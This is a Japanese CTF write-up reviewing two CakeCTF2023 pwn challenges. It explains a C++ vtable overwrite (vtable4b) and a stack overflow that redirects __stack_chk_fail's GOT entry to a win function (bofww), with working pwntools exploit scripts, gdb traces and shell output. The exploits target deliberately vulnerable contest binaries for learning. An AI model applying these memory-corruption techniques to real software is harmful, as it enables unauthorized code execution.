CakeCTF2023復習:vtable4b(pwn), bofww(pwn)

Pwnが解けるようになりたいので、CakeCTF2023のPwnジャンルの問題を復習したい。

vtable4b

この問題は、コンテスト本番中では僕がRev問題を考えている間にチームメイトのdrafearさんがACしていた。

問題の概要

netcatの接続先情報が与えられる(解析用の実行ファイルは与えられない)

接続すると

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x55c36e52861a

1. Use cowsay
2. Change message
3. Display heap
>

と表示され、vtableをインタラクト形式で解説するプログラムのようなものが始まる。

  • 「1. Use cowsay」を実行すると、vtableを参照してCowsay::dialogue関数が実行される。
  • 「2. Change message」を実行すると、dialogue関数で表示するメッセージを変更できる
  • 「3. Display heap」を実行すると、現在のメモリ状態をリアルタイムで確認できる。

解法

とりあえずコマンド3を実行してみると以下のような出力が表示される。

> 3

  [ address ]    [ heap data ]
               +------------------+
0x55c36fb1aea0 | 0000000000000000 |
               +------------------+
0x55c36fb1aea8 | 0000000000000021 |
               +------------------+
0x55c36fb1aeb0 | 0000000000000000 | <-- message (= '')
               +------------------+
0x55c36fb1aeb8 | 0000000000000000 |
               +------------------+
0x55c36fb1aec0 | 0000000000000000 |
               +------------------+
0x55c36fb1aec8 | 0000000000000021 |
               +------------------+
0x55c36fb1aed0 | 000055c36e52bce8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x55c36fb1aed8 | 000055c36fb1aeb0 |  0x55c36e52bce8 | 000055c36e5286e2 |
               +------------------+                 +------------------+
0x55c36fb1aee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x55c36fb1aee8 | 000000000000f121 |
               +------------------+

1. Use cowsay
2. Change message
3. Display heap
>

メモリアドレス自体は実行のたびに変化するが、messageとvtableのアドレスの位置関係は常に一定である。 また、コマンド2でmessageを書き換えることができるがバッファオーバーフロー脆弱性があり、長いメッセージを入れるとvtableの内容を上書きできてしまう。

ここで、win関数のアドレスを教えてくれているので、これでCowsay::dialogueのアドレスを上書きすることを考える。 vtableに格納されているのは対応する関数のメモリアドレスではなくポインタなので、この例ではアドレス0x563356670ed0に直接win関数のアドレス(0x55c36e52861a)を入れても駄目で、たとえば0x55c36fb1aeb0にwin関数のアドレスを入れた上で0x563356670ed0に値0x55c36fb1aeb0を入れるなどする必要がある。

メモリアドレスは毎回変化することから予め入力内容を用意しておくことはできないので、Pythonのpwntoolsを利用した。

from pwn import *
import time

conn = remote('vtable4b.2023.cakectf.com', 9000)
line = conn.recvline()
win_addr = 0
while line is not None:
    if "<win>" in line:
        win_addr = int(line[9::], 16)
        break
    line = conn.recvline()
conn.recv()

conn.sendline("3")
line = conn.recvline()
pointer_addr = 0
while line is not None:
    if "message" in line:
        pointer_addr = int(line[:14], 16)
        break
    line = conn.recvline()
conn.recv()

conn.sendline("2")
conn.sendline(p64(win_addr) + "a"*24 + p64(pointer_addr))

conn.sendline("1")
conn.recv()

time.sleep(5)
conn.interactive()

これを実行するとシェルを開くことができるので、親ディレクトリにあるflagファイルの内容を表示すればAC。

$ python2 solver.py 
[+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done
[*] Switching to interactive mode
Message: 1. Use cowsay
2. Change message
3. Display heap
> [+] You're trying to use vtable at 0x55a887544eb0
[+] Congratulations! Executing shell...
$ $ cat ../flag-806cb9c9719379667ca5616d9c8210f1.txt
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}

bofww

コンテスト本番中に少し考えたが解けなかった問題。

問題の概要

netcatの接続先情報と解析用の実行ファイルが与えられる。 コンパイル元のソースコードもある。

実行すると名前と年齢を質問される。 入力すると、入力した内容が表示されて終了。

$ ./bofww 
What is your first name? takeo
How old are you? 27
Information:
Age: 27
Name: takeo

解法

問題のキャプションには "buffer overflow with win function" とあるのでバッファオーバーフローを利用する問題であることは間違いなさそうだが、Ghidraでデコンパイルしたコードを確認すると入力部分にカナリアチェックが用意されていることがわかる。

↓元のソースコード(入力を受け取る部分)

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

↓実行ファイルを逆コンパイルしたもの

void input_person(int *param_1,basic_string *param_2)
{
  long in_FS_OFFSET;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  std::operator<<((basic_ostream *)std::cout,"What is your first name? ");
  std::operator>>((basic_istream *)std::cin,local_118);
  std::operator<<((basic_ostream *)std::cout,"How old are you? ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_11c);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118);
  *param_1 = local_11c;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

nameに265バイト以上の文字列を入力すると__stack_chk_fail()が呼び出されて強制終了するという仕組みのようだ。

ここでコンテストのDiscordやwriteupなどを色々見てみると、__stack_chk_fail()のGOTをwin関数に書き換えると良いとのことで実際にやってみる。

input_person関数の

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator= ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118);

の部分は、元のソースコードでいうと

  name = _name;

に対応しており、*nameに_nameの内容を書き込んでいる。 ここでnameのポインタを__stack_chk_fail()のGOTのポインタに書き換えることができれば、_nameに入力した内容を__stack_chk_fail()のGOTに書き込むことができると考えられる。

実際に代入部分(0x004013b4)をgdbで調べてみると

Guessed arguments:
arg[0]: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x7ffff7faff00 --> 0x0
arg[1]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo')
arg[2]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo')

となっており、代入後は

RAX: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x6f656b6174 ('takeo')

となっていることから、0x7fffffffdee0(入力した_name)の内容を0x7fffffffe010の指すアドレス(0x7fffffffe020)に書き込んでいるようだ。

さらに、__stack_chk_fail()の呼び出し部分を調べると

0x4013d8 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+200>:      call   0x401190 <__stack_chk_fail@plt>

となっており、

gdb-peda$ disas 0x401190
Dump of assembler code for function __stack_chk_fail@plt:
   0x0000000000401190 <+0>:     endbr64 
   0x0000000000401194 <+4>:     bnd jmp QWORD PTR [rip+0x2eb5]        # 0x404050 <__stack_chk_fail@got.plt>
   0x000000000040119b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

より0x404050が__stack_chk_fail@got.pltのアドレスであることがわかる。

ここでwin関数のアドレスは0x004012f6なので、0x7fffffffdee0(_nameの先頭)に0x004012f6を書き込んだ上で0x7fffffffe010を0x404050(__stack_chk_fail@got.plt)で上書きすることができればカナリアチェックでfailした瞬間にwin関数が呼び出されることになると考えられる。

よって、

from pwn import *

win_addr = 0x004012f6
got = 0x404050

r = process("./bofww")
r.recvuntil("What is your first name?")
r.sendline(p64(win_addr) + p64(0x0) + "a"*8*0x24 + p64(got))
r.recvuntil("How old are you?")
r.sendline("0")
r.interactive()

とすれば、実際にwin関数を呼び出してシェルを開くことができた(サーバが既に閉じてしまっていたのでローカルにflagを用意した)

$ python2 solver.py
[+] Starting local process './bofww': pid 3996
[*] Switching to interactive mode
 $ cat flag.txt
TAKEO{You_got_the_flag!}